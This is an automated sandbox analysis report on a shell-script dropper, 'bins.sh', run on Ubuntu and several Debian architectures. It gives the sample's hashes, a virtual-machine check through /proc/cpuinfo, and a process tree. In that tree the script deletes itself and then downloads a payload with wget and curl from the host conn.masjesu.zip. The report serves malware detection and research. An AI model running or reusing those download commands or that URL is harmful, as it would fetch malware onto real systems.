Analysis
- max time kernel
149s - max time network
2s - platform
debian-9_armhf - resource
debian9-armhf-20240418-en - resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
24/10/2024, 15:58
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
0 signatures
150 seconds
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
2 signatures
150 seconds
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
8 signatures
150 seconds
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240729-en
8 signatures
150 seconds
General
- Target bins.sh
- Size 10KB
- Sample241024-tej5tsxapp
- SHA256 f8e3b97ac0d5bfe12457de3bab4320c7cdf797882cd955e728e552160cf92865
- MD5 4e58d7ba835142189c9eed54451a9f71
- SHA1 6f9420df332c3af6754bede8daf50ef2a6f90a8c
- SHA512 0314becdda22ebed8b30abaadd5a44a2f2e6018ae075d27fc48c8c925eecffd13cc065bae4beab9389fa891f913006487e03573ae8b869470cf3d8c1ac75e786
- SSDEEP 96:Yh9h9hK5lwzPML/D/f/SJpi6yhin6ke1YUnLWGQEL5ROLCaEgHb+okELV1el3ddV:1DrnSJpZet9KkqsneC4bzZrrnSJpdeu
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:647
-
/bin/rm/bin/rm bins.sh2⤵PID:649
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/IrFLI3NpANxP87HLgtVNenoO2A9h9kET802⤵PID:650
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/IrFLI3NpANxP87HLgtVNenoO2A9h9kET802⤵
- Checks CPU configuration
- Reads runtime system information
PID:662
-